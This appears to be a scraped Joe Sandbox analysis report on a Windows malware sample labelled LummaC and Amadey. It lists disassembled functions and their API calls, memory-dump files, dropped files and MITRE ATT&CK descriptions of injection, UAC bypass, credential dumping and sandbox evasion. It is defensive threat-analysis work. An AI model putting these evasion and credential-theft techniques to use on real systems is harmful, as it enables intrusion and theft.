Instruction ID: b8ac8774a71ac6a96b6e84920d9c00f026e7ebec5489a503e50ac6192412ff2a
Opcode Fuzzy Hash: 3073d609bb89e4751a6ff3644e89f32c69915a069c7c99013209cc8fe695dd6b
Instruction Fuzzy Hash: 60517072A112199FDF10DFA4DC81EFFB3B9FF58204F844065E905A7251EA34EA09DBA1

Function 0BCCC190 Relevance: 5.1, APIs: 4, Instructions: 111COMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(00000000,00000000,0BC6F54B,000000FF,00000000,00000000,00000000,?,75BF8400,00000000,?,0BC72C60,?,0BC6F54B,75BF8400,?), ref: 0BCCC1AA
memset.NTDLL ref: 0BCCC1D9
MultiByteToWideChar.KERNEL32(00000000,00000000,0BC6F54B,000000FF,00000000,00000001,?,0BC6F54B,75BF8400,?,?,0BC6F54B,?), ref: 0BCCC1EC
memcpy.NTDLL(00000000,00000000,?,00000000,00000000,?,0BC6F54B,?), ref: 0BCCC29A

Part of subcall function 0BC73EA0: HeapFree.KERNEL32(00000001,00000000,0BCF75BC,0BCF75C8,0BBF107E,-00000004,00000000), ref: 0BC73EC9
Part of subcall function 0BC73EA0: ReleaseSemaphore.KERNEL32(?,00000001,00000000), ref: 0BC73F04

Memory Dump Source

Source File: 0000000A.00000002.3026433315.000000000BBF1000.00000020.10000000.00040000.00000000.sdmp, Offset: 0BBF0000, based on PE: true

Associated: 0000000A.00000002.3026382315.000000000BBF0000.00000040.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026603535.000000000BCCD000.00000002.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026691127.000000000BCF1000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026771498.000000000BCF2000.00000008.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026853224.000000000BCF7000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026900303.000000000BCF9000.00000002.10000000.00040000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_bbf0000_Potwierdzenie.jbxd

Similarity

API ID: ByteCharMultiWide$FreeHeapReleaseSemaphorememcpymemset
String ID:
API String ID: 3890946575-0
Opcode ID: c7a6186f58d493e2746b62d7fc25b048911f303c4636f284508e5623e34637a2
Instruction ID: c80347fddae41ed0e4d6621824cb84a6949c861f5ed80ea045f6b59cf6959fa2
Opcode Fuzzy Hash: c7a6186f58d493e2746b62d7fc25b048911f303c4636f284508e5623e34637a2
Instruction Fuzzy Hash: A1314872A512006BEB20AF28DC46B7BBBA8EF85320F54416DF90D9F2C1D7309901A7E5

Function 0BC74100 Relevance: 5.1, APIs: 4, Instructions: 84memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,?), ref: 0BC7413A
HeapFree.KERNEL32(00000000), ref: 0BC74141

Part of subcall function 0BC73EA0: HeapFree.KERNEL32(00000001,00000000,0BCF75BC,0BCF75C8,0BBF107E,-00000004,00000000), ref: 0BC73EC9
Part of subcall function 0BC73EA0: ReleaseSemaphore.KERNEL32(?,00000001,00000000), ref: 0BC73F04

GetProcessHeap.KERNEL32(00000000), ref: 0BC7419B
HeapFree.KERNEL32(00000000), ref: 0BC741A2

Memory Dump Source

Source File: 0000000A.00000002.3026433315.000000000BBF1000.00000020.10000000.00040000.00000000.sdmp, Offset: 0BBF0000, based on PE: true

Associated: 0000000A.00000002.3026382315.000000000BBF0000.00000040.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026603535.000000000BCCD000.00000002.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026691127.000000000BCF1000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026771498.000000000BCF2000.00000008.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026853224.000000000BCF7000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026900303.000000000BCF9000.00000002.10000000.00040000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_bbf0000_Potwierdzenie.jbxd

Similarity

API ID: Heap$Free$Process$ReleaseSemaphore
String ID:
API String ID: 801660010-0
Opcode ID: 83cd6a074c94889e3d245a9d0a97077270e7388bcde1b736c0049ba5889fb918
Instruction ID: 03e7ce25d9c88c39838c2707c52c896554e2502ebf51c2115447765f186ce0ff
Opcode Fuzzy Hash: 83cd6a074c94889e3d245a9d0a97077270e7388bcde1b736c0049ba5889fb918
Instruction Fuzzy Hash: 51212772AA0209DFD715FF98DC42BAAB3B9FF65301F40006AEA0457350E771AA11CB90

Function 0BC19BA0 Relevance: 5.0, APIs: 4, Instructions: 32COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(00000000,?,0BCBFF22,0BBF3BCE,00000010,0BCF77A0,?,0BBF3BCE,00000000), ref: 0BC19BAA
TlsSetValue.KERNEL32(00000001,?,0BCBFF22,0BBF3BCE,00000010,0BCF77A0,?,0BBF3BCE,00000000), ref: 0BC19BB8
TlsGetValue.KERNEL32(?,0BCBFF22,0BBF3BCE,00000010,0BCF77A0,?,0BBF3BCE,00000000), ref: 0BC19BF2
TlsSetValue.KERNEL32(-00000001,?,0BCBFF22,0BBF3BCE,00000010,0BCF77A0,?,0BBF3BCE,00000000), ref: 0BC19C00

Memory Dump Source

Source File: 0000000A.00000002.3026433315.000000000BBF1000.00000020.10000000.00040000.00000000.sdmp, Offset: 0BBF0000, based on PE: true

Associated: 0000000A.00000002.3026382315.000000000BBF0000.00000040.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026603535.000000000BCCD000.00000002.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026691127.000000000BCF1000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026771498.000000000BCF2000.00000008.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026853224.000000000BCF7000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026900303.000000000BCF9000.00000002.10000000.00040000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_bbf0000_Potwierdzenie.jbxd

Similarity

API ID: Value
String ID:
API String ID: 3702945584-0
Opcode ID: c9a7b82226f15cf7ef7eeae5603482b56c13950d7b92adeb859a6360bc5c07a1
Instruction ID: bc470b1cb8a7a55ccf66dfac915cf9222b6e7ea26d2261e8ca8569a2f77edaf0
Opcode Fuzzy Hash: c9a7b82226f15cf7ef7eeae5603482b56c13950d7b92adeb859a6360bc5c07a1
Instruction Fuzzy Hash: A8F0B73114520AAFEF4A2FA8EC58A693BF9FB043057008475F91696120DA32CE22DB20

Source: C:\Users\user\AppData\Local\Temp\1007251001\Potwierdzenie.exe	Section loaded: \Sessions\1\BaseNamedObjects\boxedapp_shared_mem_00001d48_00001cb4_00000223 target: C:\Users\user\AppData\Local\Temp\1007251001\Potwierdzenie.exe protection: read write	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007251001\Potwierdzenie.exe	Section loaded: \Sessions\1\BaseNamedObjects\boxedapp_shared_mem_00001d48_00001cb4_00000224 target: C:\Users\user\AppData\Local\Temp\1007251001\Potwierdzenie.exe protection: read write	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007251001\Potwierdzenie.exe	Section loaded: \Sessions\1\BaseNamedObjects\boxedapp_shared_mem_00001d48_00001cb4_00000225 target: C:\Users\user\AppData\Local\Temp\1007251001\Potwierdzenie.exe protection: read write	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007251001\Potwierdzenie.exe	Section loaded: \Sessions\1\BaseNamedObjects\boxedapp_shared_mem_00001d48_00001cb4_00000226 target: C:\Users\user\AppData\Local\Temp\1007251001\Potwierdzenie.exe protection: read write	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007251001\Potwierdzenie.exe	Section loaded: \Sessions\1\BaseNamedObjects\boxedapp_shared_mem_00001d48_00001cb4_00000227 target: C:\Users\user\AppData\Local\Temp\1007251001\Potwierdzenie.exe protection: read write	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007251001\Potwierdzenie.exe	Section loaded: \Sessions\1\BaseNamedObjects\boxedapp_shared_mem_00001d48_00001cb4_00000228 target: C:\Users\user\AppData\Local\Temp\1007251001\Potwierdzenie.exe protection: read write	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007251001\Potwierdzenie.exe	Section loaded: \Sessions\1\BaseNamedObjects\boxedapp_shared_mem_00001d48_00001cb4_00000229 target: C:\Users\user\AppData\Local\Temp\1007251001\Potwierdzenie.exe protection: read write	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007251001\Potwierdzenie.exe	Section loaded: \Sessions\1\BaseNamedObjects\boxedapp_shared_mem_00001d48_00001cb4_0000022a target: C:\Users\user\AppData\Local\Temp\1007251001\Potwierdzenie.exe protection: read write	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007251001\Potwierdzenie.exe	Section loaded: \Sessions\1\BaseNamedObjects\boxedapp_shared_mem_00001d48_00001cb4_0000022b target: C:\Users\user\AppData\Local\Temp\1007251001\Potwierdzenie.exe protection: read write	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007251001\Potwierdzenie.exe	Section loaded: \Sessions\1\BaseNamedObjects\boxedapp_shared_mem_00001d48_00001cb4_0000022c target: C:\Users\user\AppData\Local\Temp\1007251001\Potwierdzenie.exe protection: read write	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007251001\Potwierdzenie.exe	Section loaded: \Sessions\1\BaseNamedObjects\boxedapp_shared_mem_00001d48_00001cb4_0000022d target: C:\Users\user\AppData\Local\Temp\1007251001\Potwierdzenie.exe protection: read write	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007251001\Potwierdzenie.exe	Section loaded: \Sessions\1\BaseNamedObjects\boxedapp_shared_mem_00001d48_00001cb4_0000022e target: C:\Users\user\AppData\Local\Temp\1007251001\Potwierdzenie.exe protection: read write	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007251001\Potwierdzenie.exe	Section loaded: \Sessions\1\BaseNamedObjects\boxedapp_shared_mem_00001d48_00001cb4_0000022f target: C:\Users\user\AppData\Local\Temp\1007251001\Potwierdzenie.exe protection: read write	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007251001\Potwierdzenie.exe	Section loaded: \Sessions\1\BaseNamedObjects\boxedapp_shared_mem_00001d48_00001cb4_00000230 target: C:\Users\user\AppData\Local\Temp\1007251001\Potwierdzenie.exe protection: read write	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007251001\Potwierdzenie.exe	Section loaded: \Sessions\1\BaseNamedObjects\boxedapp_shared_mem_00001d48_00001cb4_00000231 target: C:\Users\user\AppData\Local\Temp\1007251001\Potwierdzenie.exe protection: read write	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007251001\Potwierdzenie.exe	Section loaded: \Sessions\1\BaseNamedObjects\boxedapp_shared_mem_00001d48_00001cb4_00000232 target: C:\Users\user\AppData\Local\Temp\1007251001\Potwierdzenie.exe protection: read write	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007251001\Potwierdzenie.exe	Section loaded: \Sessions\1\BaseNamedObjects\boxedapp_shared_mem_00001d48_00001cb4_00000233 target: C:\Users\user\AppData\Local\Temp\1007251001\Potwierdzenie.exe protection: read write	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007251001\Potwierdzenie.exe	Section loaded: \Sessions\1\BaseNamedObjects\boxedapp_shared_mem_00001d48_00001cb4_00000234 target: C:\Users\user\AppData\Local\Temp\1007251001\Potwierdzenie.exe protection: read write	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007251001\Potwierdzenie.exe	Section loaded: \Sessions\1\BaseNamedObjects\boxedapp_shared_mem_00001d48_00001cb4_00000235 target: C:\Users\user\AppData\Local\Temp\1007251001\Potwierdzenie.exe protection: read write	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007251001\Potwierdzenie.exe	Section loaded: \Sessions\1\BaseNamedObjects\boxedapp_shared_mem_00001d48_00001cb4_00000236 target: C:\Users\user\AppData\Local\Temp\1007251001\Potwierdzenie.exe protection: read write	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007251001\Potwierdzenie.exe	Section loaded: \Sessions\1\BaseNamedObjects\boxedapp_shared_mem_00001d48_00001cb4_00000237 target: C:\Users\user\AppData\Local\Temp\1007251001\Potwierdzenie.exe protection: read write	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007251001\Potwierdzenie.exe	Section loaded: \Sessions\1\BaseNamedObjects\boxedapp_shared_mem_00001d48_00001cb4_00000238 target: C:\Users\user\AppData\Local\Temp\1007251001\Potwierdzenie.exe protection: read write	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007251001\Potwierdzenie.exe	Section loaded: \Sessions\1\BaseNamedObjects\boxedapp_shared_mem_00001d48_00001cb4_00000239 target: C:\Users\user\AppData\Local\Temp\1007251001\Potwierdzenie.exe protection: read write	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007251001\Potwierdzenie.exe	Section loaded: \Sessions\1\BaseNamedObjects\boxedapp_shared_mem_00001d48_00001cb4_0000023a target: C:\Users\user\AppData\Local\Temp\1007251001\Potwierdzenie.exe protection: read write	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007251001\Potwierdzenie.exe	Section loaded: \Sessions\1\BaseNamedObjects\boxedapp_shared_mem_00001d48_00001cb4_0000023b target: C:\Users\user\AppData\Local\Temp\1007251001\Potwierdzenie.exe protection: read write	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007251001\Potwierdzenie.exe	Section loaded: \Sessions\1\BaseNamedObjects\boxedapp_shared_mem_00001d48_00001cb4_0000023c target: C:\Users\user\AppData\Local\Temp\1007251001\Potwierdzenie.exe protection: read write	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007251001\Potwierdzenie.exe	Section loaded: \Sessions\1\BaseNamedObjects\boxedapp_shared_mem_00001d48_00001cb4_0000023d target: C:\Users\user\AppData\Local\Temp\1007251001\Potwierdzenie.exe protection: read write	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007251001\Potwierdzenie.exe	Section loaded: \Sessions\1\BaseNamedObjects\boxedapp_shared_mem_00001d48_00001cb4_0000023e target: C:\Users\user\AppData\Local\Temp\1007251001\Potwierdzenie.exe protection: read write	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007251001\Potwierdzenie.exe	Section loaded: \Sessions\1\BaseNamedObjects\boxedapp_shared_mem_00001d48_00001cb4_0000023f target: C:\Users\user\AppData\Local\Temp\1007251001\Potwierdzenie.exe protection: read write	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007251001\Potwierdzenie.exe	Section loaded: \Sessions\1\BaseNamedObjects\boxedapp_shared_mem_00001d48_00001cb4_00000240 target: C:\Users\user\AppData\Local\Temp\1007251001\Potwierdzenie.exe protection: read write	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007251001\Potwierdzenie.exe	Section loaded: \Sessions\1\BaseNamedObjects\boxedapp_shared_mem_00001d48_00001cb4_00000241 target: C:\Users\user\AppData\Local\Temp\1007251001\Potwierdzenie.exe protection: read write	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007251001\Potwierdzenie.exe	Section loaded: \Sessions\1\BaseNamedObjects\boxedapp_shared_mem_00001d48_00001cb4_00000242 target: C:\Users\user\AppData\Local\Temp\1007251001\Potwierdzenie.exe protection: read write	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007251001\Potwierdzenie.exe	Section loaded: \Sessions\1\BaseNamedObjects\boxedapp_shared_mem_00001d48_00001cb4_00000243 target: C:\Users\user\AppData\Local\Temp\1007251001\Potwierdzenie.exe protection: read write	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007251001\Potwierdzenie.exe	Section loaded: \Sessions\1\BaseNamedObjects\boxedapp_shared_mem_00001d48_00001cb4_00000244 target: C:\Users\user\AppData\Local\Temp\1007251001\Potwierdzenie.exe protection: read write	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007251001\Potwierdzenie.exe	Section loaded: \Sessions\1\BaseNamedObjects\boxedapp_shared_mem_00001d48_00001cb4_00000245 target: C:\Users\user\AppData\Local\Temp\1007251001\Potwierdzenie.exe protection: read write	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007251001\Potwierdzenie.exe	Section loaded: \Sessions\1\BaseNamedObjects\boxedapp_shared_mem_00001d48_00001cb4_00000246 target: C:\Users\user\AppData\Local\Temp\1007251001\Potwierdzenie.exe protection: read write	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007251001\Potwierdzenie.exe	Section loaded: \Sessions\1\BaseNamedObjects\boxedapp_shared_mem_00001d48_00001cb4_00000247 target: C:\Users\user\AppData\Local\Temp\1007251001\Potwierdzenie.exe protection: read write	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007251001\Potwierdzenie.exe	Section loaded: \Sessions\1\BaseNamedObjects\boxedapp_shared_mem_00001d48_00001cb4_00000248 target: C:\Users\user\AppData\Local\Temp\1007251001\Potwierdzenie.exe protection: read write	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007251001\Potwierdzenie.exe	Section loaded: \Sessions\1\BaseNamedObjects\boxedapp_shared_mem_00001d48_00001cb4_00000249 target: C:\Users\user\AppData\Local\Temp\1007251001\Potwierdzenie.exe protection: read write	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007251001\Potwierdzenie.exe	Section loaded: \Sessions\1\BaseNamedObjects\boxedapp_shared_mem_00001d48_00001cb4_0000024a target: C:\Users\user\AppData\Local\Temp\1007251001\Potwierdzenie.exe protection: read write	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007251001\Potwierdzenie.exe	Section loaded: \Sessions\1\BaseNamedObjects\boxedapp_shared_mem_00001d48_00001cb4_0000024b target: C:\Users\user\AppData\Local\Temp\1007251001\Potwierdzenie.exe protection: read write	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007251001\Potwierdzenie.exe	Section loaded: \Sessions\1\BaseNamedObjects\boxedapp_shared_mem_00001d48_00001cb4_00000221 target: C:\Users\user\AppData\Local\Temp\1007251001\Potwierdzenie.exe protection: read write	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007251001\Potwierdzenie.exe	Section loaded: \Sessions\1\BaseNamedObjects\boxedapp_shared_mem_00001d48_00001cb4_00000222 target: C:\Users\user\AppData\Local\Temp\1007251001\Potwierdzenie.exe protection: read write	Jump to behavior

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Container: Container Creation, File: File Creation, File: File Modification, Process: Process Creation, Scheduled Job: Scheduled Job Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may bypass UAC mechanisms to elevate process privileges on system. Windows User Account Control (UAC) allows a program to elevate its privileges (tracked as integrity levels ranging from low to high) to perform a task under administrator-level permissions, possibly by prompting the user for confirmation. The impact to the user ranges from denying the operation under high enforcement to allowing the user to perform the action if they are in the local administrators group and click through the prompt or allowing them to enter an administrator password to complete the action.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Command: Command Execution, Process: Process Creation, Process: Process Metadata, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject malicious code into process via Extra Window Memory (EWM) in order to evade process-based defenses as well as possibly elevate privileges. EWM injection is a method of executing arbitrary code in the address space of a separate live process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Process: OS API Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report file.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: LummaC

Threatname: Amadey

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Software Vulnerabilities

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\AEGDBAFH

C:\ProgramData\GCGCFCBAKKFBFIECAEBA

C:\ProgramData\GHDBKJKJKKJDGDGDGIDG

C:\ProgramData\IEGCAAKF

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

C:\ProgramData\freebl3.dll

C:\ProgramData\mozglue.dll

C:\ProgramData\msvcp140.dll

Windows Analysis Report
file.exe

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

